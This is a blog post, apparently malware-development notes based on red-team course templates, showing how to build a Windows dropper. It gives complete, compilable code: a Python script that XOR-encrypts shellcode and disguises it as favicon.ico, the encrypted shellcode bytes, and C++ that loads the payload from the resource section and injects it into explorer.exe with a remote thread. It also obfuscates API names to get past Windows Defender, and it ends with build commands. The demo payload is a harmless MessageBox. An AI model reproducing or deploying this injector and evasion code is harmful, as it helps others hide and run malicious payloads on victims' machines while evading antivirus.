Home MalDev | Dropper Explorer.exe
Post
Cancel

MalDev | Dropper Explorer.exe

Posted Feb 1, 2023
By Cong Khai NGUYEN
11 min read

From a Dropper.exe, it will extract a shellcode from the .rsrc and inject it into the Explorer.exe. For this we will need:

  • The C++ file
  • A Resource Script file
  • A C/C++ Header
  • A Python script for XOR encryption
  • A shellcode (in this case MessageBox)

Shellcode

We already have a binary (msgbox64.bin) to use. With the following Python Script we can encrypt it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

# Red Team Operator course code template
# payload encryption with XOR
#
# author: reenz0h (twitter: @sektor7net)

import sys

KEY = "mysecretkeee"

def xor(data, key):
	
	key = str(key)
	l = len(key)
	output_str = ""

	for i in range(len(data)):
		current = data[i]
		current_key = key[i % len(key)]
		output_str += chr(ord(current) ^ ord(current_key))
	
	return output_str

def printCiphertext(ciphertext):
	print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')



try:
    plaintext = open(sys.argv[1], "rb").read()
except:
    print("File argument needed! %s <raw payload file>" % sys.argv[0])
    sys.exit()


ciphertext = xor(plaintext, KEY)
open("favicon.ico", "wb").write(ciphertext)
print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')

We can get the shellcode with:

1

C.\Users\Zeropio>C:\Python27\python.exe xorencrypt.py msgbox64.bin

The shellcode will be:

1

{ 0x91, 0x31, 0xf2, 0x81, 0x93, 0x8d, 0x9a, 0x8b, 0x83, 0xb5, 0x65, 0x65, 0x6d, 0x38, 0x22, 0x24, 0x33, 0x20, 0x34, 0x22, 0x23, 0x54, 0xb7, 0x0, 0x25, 0xf2, 0x21, 0x5, 0x5d, 0x3a, 0xee, 0x26, 0x73, 0x5b, 0x2d, 0xee, 0x3f, 0x59, 0x4d, 0x2d, 0xe8, 0x0, 0x35, 0x4a, 0x23, 0x6a, 0xd2, 0x2f, 0x27, 0x34, 0x42, 0xac, 0x2b, 0x43, 0xa5, 0xd8, 0x57, 0x4, 0x19, 0x67, 0x41, 0x59, 0x32, 0xa4, 0xaa, 0x7f, 0x24, 0x75, 0xaa, 0x87, 0x88, 0x37, 0x2c, 0x28, 0x4d, 0x2d, 0xe8, 0x20, 0x45, 0x4a, 0xe0, 0x27, 0x59, 0x2d, 0x6c, 0xa9, 0x4d, 0xee, 0xe3, 0xfa, 0x65, 0x74, 0x6b, 0x2d, 0xe0, 0xa5, 0x19, 0x16, 0x3b, 0x64, 0xb3, 0x22, 0x5b, 0xff, 0x23, 0x7d, 0x5b, 0x21, 0xe6, 0x39, 0x53, 0x2c, 0x62, 0xa2, 0x86, 0x28, 0x23, 0x9a, 0xac, 0x5b, 0x2c, 0xf2, 0x47, 0xed, 0x2b, 0x73, 0xb3, 0x39, 0x5a, 0xac, 0x2d, 0x54, 0xad, 0xd5, 0x32, 0xa4, 0xaa, 0x7f, 0x24, 0x75, 0xaa, 0x5d, 0x85, 0x10, 0x9c, 0x47, 0x3f, 0x66, 0x2f, 0x56, 0x6d, 0x31, 0x52, 0xb4, 0x10, 0xb3, 0x35, 0x47, 0x37, 0xee, 0x23, 0x56, 0x2c, 0x75, 0xbb, 0x3, 0x5b, 0x24, 0xe6, 0x75, 0x3b, 0x5b, 0x27, 0xf9, 0x25, 0x68, 0x22, 0x64, 0xb5, 0x5b, 0x2c, 0xf2, 0x77, 0xed, 0x2b, 0x73, 0xb5, 0x35, 0x33, 0x24, 0x3d, 0x3b, 0x34, 0x23, 0x32, 0x3d, 0x22, 0x2b, 0x24, 0x2e, 0x23, 0xe6, 0x89, 0x45, 0x2c, 0x2b, 0x8c, 0x85, 0x3b, 0x33, 0x3c, 0x2e, 0x55, 0x2d, 0xee, 0x77, 0x84, 0x30, 0x8c, 0x9a, 0x9c, 0x2f, 0x2c, 0xb3, 0xaa, 0x65, 0x65, 0x65, 0x6d, 0x47, 0x3b, 0xe8, 0xf6, 0x68, 0x64, 0x74, 0x6b, 0x5b, 0x29, 0xe8, 0xe8, 0x4c, 0x72, 0x65, 0x63, 0x3a, 0x54, 0xbd, 0x2a, 0xdf, 0x20, 0xe6, 0x3b, 0x7e, 0x8c, 0xb0, 0xd8, 0x92, 0x78, 0x5e, 0x61, 0x24, 0xdf, 0xc3, 0xf8, 0xc4, 0xee, 0x9a, 0xb6, 0x3a, 0xe6, 0xb0, 0x43, 0x59, 0x63, 0x19, 0x67, 0xf9, 0x88, 0x85, 0x16, 0x77, 0xde, 0x33, 0x78, 0x17, 0xa, 0xf, 0x6d, 0x20, 0x32, 0xec, 0xb9, 0x8d, 0xb0, 0x3c, 0x2, 0x45, 0x3, 0x17, 0x2, 0x14, 0x53, 0x37, 0x6, 0x16, 0x45, 0x20, 0xe, 0x4, 0x8, 0x45, 0x22, 0x9, 0x16, 0x17, 0x2, 0x6, 0xa, 0x6, 0x4a, 0x65, 0x37, 0x31, 0x22, 0x43, 0x53, 0x28, 0x2, 0x1e, 0x21, 0x11, 0x1d, 0x65 }

As we want to extract the shellcode from .rsrc, we need to extract it from a resource, not the payload directly. Because of this we added the line:

1

open("favicon.ico", "wb").write(ciphertext)

That will generate our favicon.ico.

EXE

Functions

We will import all the functions we need:

  • XOR: for decryption
  • FindTarget: for finding the explorer PID
  • Inject: for inject into the process
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
#include "resources.h"

void XOR(char * data, size_t data_len, char * key, size_t key_len) {
	int j;
	
	j = 0;
	for (int i = 0; i < data_len; i++) {
		if (j == key_len - 1) j = 0;

		data[i] = data[i] ^ key[j];
		j++;
	}
}

int FindTarget(const char *procname) {

        HANDLE hProcSnap;
        PROCESSENTRY32 pe32;
        int pid = 0;
                
        hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
                
        pe32.dwSize = sizeof(PROCESSENTRY32); 
                
        if (!Process32First(hProcSnap, &pe32)) {
                CloseHandle(hProcSnap);
                return 0;
        }
                
        while (Process32Next(hProcSnap, &pe32)) {
                if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
                        pid = pe32.th32ProcessID;
                        break;
                }
        }
                
        CloseHandle(hProcSnap);
                
        return pid;
}


int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {

        LPVOID pRemoteCode = NULL;
        HANDLE hThread = NULL;

  
        pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
        WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
        
        hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL);
        if (hThread != NULL) {
                WaitForSingleObject(hThread, 500);
                CloseHandle(hThread);
                return 0;
        }
        return -1;
}

GUI Trick

Now, instead of a main function we will use a WinMain function. Declare all the variables:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, 
    LPSTR lpCmdLine, int nCmdShow) {
    
	void * exec_mem;
	BOOL rv;
	HANDLE th;
    DWORD oldprotect = 0;
	HGLOBAL resHandle = NULL;
	HRSRC res;
	
	unsigned char * payload;
	unsigned int payload_len;
	
	char key[] = "mysecretkeee";
	
	int pid = 0;
    HANDLE hProc = NULL;

Payload

Extract the payload from the resources. We will need:

  • resources.h
1

#define FAVICON_ICO 100
  • resources.rc
1
2
3

#include "resources.h"

FAVICON_ICO RCDATA favicon.ico
  • favicon.ico generated with Python

Now, get the payload in the main file:

1
2
3
4
5

	// Extract payload from resources section
	res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
	resHandle = LoadResource(NULL, res);
	payload = (char *) LockResource(resHandle);
	payload_len = SizeofResource(NULL, res);

Memory and Decryption

Now allocate some space in the buffer and decrypt the payload:

1
2
3
4
5
6
7
8

	// Allocate some memory buffer for payload
	exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	// Copy payload to new memory buffer
	RtlMoveMemory(exec_mem, payload, payload_len);
	
	// Decrypt (DeXOR) the payload
	XOR((char *) exec_mem, payload_len, key, sizeof(key));

Injection

Search for the explorer.exe and inject the payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

	// Injection into explorer.exe
	pid = FindTarget("explorer.exe");

	if (pid) {

		// try to open target process
		hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | 
						PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
						FALSE, (DWORD) pid);

		if (hProc != NULL) {
			Inject(hProc, exec_mem, payload_len);
			CloseHandle(hProc);
		}
	}

	return 0;
}

Obfuscation

To bypass some Windows Defender protection we can try to obfuscate the program. We will obfuscate VirtualAllocEx, WriteProcessMemory and CreateRemoteThread. Create the pointes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

LPVOID (WINAPI * pVirtualAllocEx)(
  HANDLE hProcess,
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);

BOOL (WINAPI * pWriteProcessMemory)(
  HANDLE  hProcess,
  LPVOID  lpBaseAddress,
  LPCVOID lpBuffer,
  SIZE_T  nSize,
  SIZE_T  *lpNumberOfBytesWritten
);

HANDLE (WINAPI * pCreateRemoteThread)(
  HANDLE                 hProcess,
  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  SIZE_T                 dwStackSize,
  LPTHREAD_START_ROUTINE lpStartAddress,
  LPVOID                 lpParameter,
  DWORD                  dwCreationFlags,
  LPDWORD                lpThreadId
);

Inside the Inject function we will create the pointers. Also, they will be XOR encrypted, so first we need to encrypt the strings:

1
2
3
4
5
6
7

C:\Users\Zeropio>C:\Python27\python.exe -i xorencrypt.py
>>> printCiphertext(xor("VirtualAllocEx", "mysecretkeee"))
{ 0x3b, 0x10, 0x1, 0x11, 0x16, 0x13, 0x9, 0x35, 0x7, 0x9, 0xa, 0x6, 0x28, 0x1 };
>>> printCiphertext(xor("WriteProcessMemory", "mysecretkeee"))
{ 0x3a, 0xb, 0x1a, 0x11, 0x6, 0x22, 0x17, 0x1b, 0x8, 0x0, 0x16, 0x16, 0x20, 0x1c, 0x1e, 0xa, 0x11, 0xb };
>>> printCiphertext(xor("CreateRemoteThread", "mysecretkeee"))
{ 0x2e, 0xb, 0x16, 0x4, 0x17, 0x17, 0x37, 0x11, 0x6, 0xa, 0x11, 0x0, 0x39, 0x11, 0x1, 0x0, 0x2, 0x16 };

And now we can create the pointers:

1
2
3
4
5
6
7
8
9
10
11

        unsigned char sVirtualAllocEx[] = { 0x3b, 0x10, 0x1, 0x11, 0x16, 0x13, 0x9, 0x35, 0x7, 0x9, 0xa, 0x6, 0x28, 0x1 };
		unsigned char sWriteProcessMemory[] = { 0x3a, 0xb, 0x1a, 0x11, 0x6, 0x22, 0x17, 0x1b, 0x8, 0x0, 0x16, 0x16, 0x20, 0x1c, 0x1e, 0xa, 0x11, 0xb };
		unsigned char sCreateRemoteThread[] = { 0x2e, 0xb, 0x16, 0x4, 0x17, 0x17, 0x37, 0x11, 0x6, 0xa, 0x11, 0x0, 0x39, 0x11, 0x1, 0x0, 0x2, 0x16 };
		
		XOR((char *) sVirtualAllocEx, sizeof(sVirtualAllocEx), key, sizeof(key));
		XOR((char *) sWriteProcessMemory, sizeof(sWriteProcessMemory), key, sizeof(key));
		XOR((char *) sCreateRemoteThread, sizeof(sCreateRemoteThread), key, sizeof(key));
		
		pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), sVirtualAllocEx);
		pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), sWriteProcessMemory);
		pCreateRemoteThread = GetProcAddress(GetModuleHandle("kernel32.dll"), sCreateRemoteThread);

Now replace all the functions by the pointer.

Compilation

The final C++ file will be:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163

/*

 Red Team Operator course code template
 storing payload in .rsrc section
 
 author: reenz0h (twitter: @sektor7net)

*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
#include "resources.h"

LPVOID (WINAPI * pVirtualAllocEx)(
  HANDLE hProcess,
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);

BOOL (WINAPI * pWriteProcessMemory)(
  HANDLE  hProcess,
  LPVOID  lpBaseAddress,
  LPCVOID lpBuffer,
  SIZE_T  nSize,
  SIZE_T  *lpNumberOfBytesWritten
);

HANDLE (WINAPI * pCreateRemoteThread)(
  HANDLE                 hProcess,
  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  SIZE_T                 dwStackSize,
  LPTHREAD_START_ROUTINE lpStartAddress,
  LPVOID                 lpParameter,
  DWORD                  dwCreationFlags,
  LPDWORD                lpThreadId
);

char key[] = "mysecretkeee";

void XOR(char * data, size_t data_len, char * key, size_t key_len) {
	int j;
	
	j = 0;
	for (int i = 0; i < data_len; i++) {
		if (j == key_len - 1) j = 0;

		data[i] = data[i] ^ key[j];
		j++;
	}
}

int FindTarget(const char *procname) {

        HANDLE hProcSnap;
        PROCESSENTRY32 pe32;
        int pid = 0;
                
        hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
                
        pe32.dwSize = sizeof(PROCESSENTRY32); 
                
        if (!Process32First(hProcSnap, &pe32)) {
                CloseHandle(hProcSnap);
                return 0;
        }
                
        while (Process32Next(hProcSnap, &pe32)) {
                if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
                        pid = pe32.th32ProcessID;
                        break;
                }
        }
                
        CloseHandle(hProcSnap);
                
        return pid;
}


int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {

        LPVOID pRemoteCode = NULL;
        HANDLE hThread = NULL;
		
		unsigned char sVirtualAllocEx[] = { 0x3b, 0x10, 0x1, 0x11, 0x16, 0x13, 0x9, 0x35, 0x7, 0x9, 0xa, 0x6, 0x28, 0x1 };
		unsigned char sWriteProcessMemory[] = { 0x3a, 0xb, 0x1a, 0x11, 0x6, 0x22, 0x17, 0x1b, 0x8, 0x0, 0x16, 0x16, 0x20, 0x1c, 0x1e, 0xa, 0x11, 0xb };
		unsigned char sCreateRemoteThread[] = { 0x2e, 0xb, 0x16, 0x4, 0x17, 0x17, 0x37, 0x11, 0x6, 0xa, 0x11, 0x0, 0x39, 0x11, 0x1, 0x0, 0x2, 0x16 };
		
		XOR((char *) sVirtualAllocEx, sizeof(sVirtualAllocEx), key, sizeof(key));
		XOR((char *) sWriteProcessMemory, sizeof(sWriteProcessMemory), key, sizeof(key));
		XOR((char *) sCreateRemoteThread, sizeof(sCreateRemoteThread), key, sizeof(key));
		
		pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), sVirtualAllocEx);
		pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), sWriteProcessMemory);
		pCreateRemoteThread = GetProcAddress(GetModuleHandle("kernel32.dll"), sCreateRemoteThread);

  
        pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
        pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
        
        hThread = pCreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL);
        if (hThread != NULL) {
                WaitForSingleObject(hThread, 500);
                CloseHandle(hThread);
                return 0;
        }
        return -1;
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, 
    LPSTR lpCmdLine, int nCmdShow) {
    
	void * exec_mem;
	BOOL rv;
	HANDLE th;
    DWORD oldprotect = 0;
	HGLOBAL resHandle = NULL;
	HRSRC res;
	
	unsigned char * payload;
	unsigned int payload_len;
	
	int pid = 0;
    HANDLE hProc = NULL;
	
	// Extract payload from resources section
	res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
	resHandle = LoadResource(NULL, res);
	payload = (char *) LockResource(resHandle);
	payload_len = SizeofResource(NULL, res);
	
	// Allocate some memory buffer for payload
	exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	// Copy payload to new memory buffer
	RtlMoveMemory(exec_mem, payload, payload_len);
	
	// Decrypt (DeXOR) the payload
	XOR((char *) exec_mem, payload_len, key, sizeof(key));
	
	// Injection into explorer.exe
	pid = FindTarget("explorer.exe");

	if (pid) {
		// try to open target process
		hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | 
						PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
						FALSE, (DWORD) pid);

		if (hProc != NULL) {
			Inject(hProc, exec_mem, payload_len);
			CloseHandle(hProc);
		}
	}

	return 0;
}

And compile the file:

1
2
3

C:\Users\Zeropio>rc resources.rc
C:\Users\Zeropio>cvtres /MACHINE:x64 /OUT:resources.o resources.res
C:\Users\Zeropio>cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:WINDOWS /MACHINE:x64 resources.o

Test

Now we can test if the malware works correctly:

Untitled

Malware, Development
malware windows
This post is licensed under CC BY 4.0 by the author.
Contents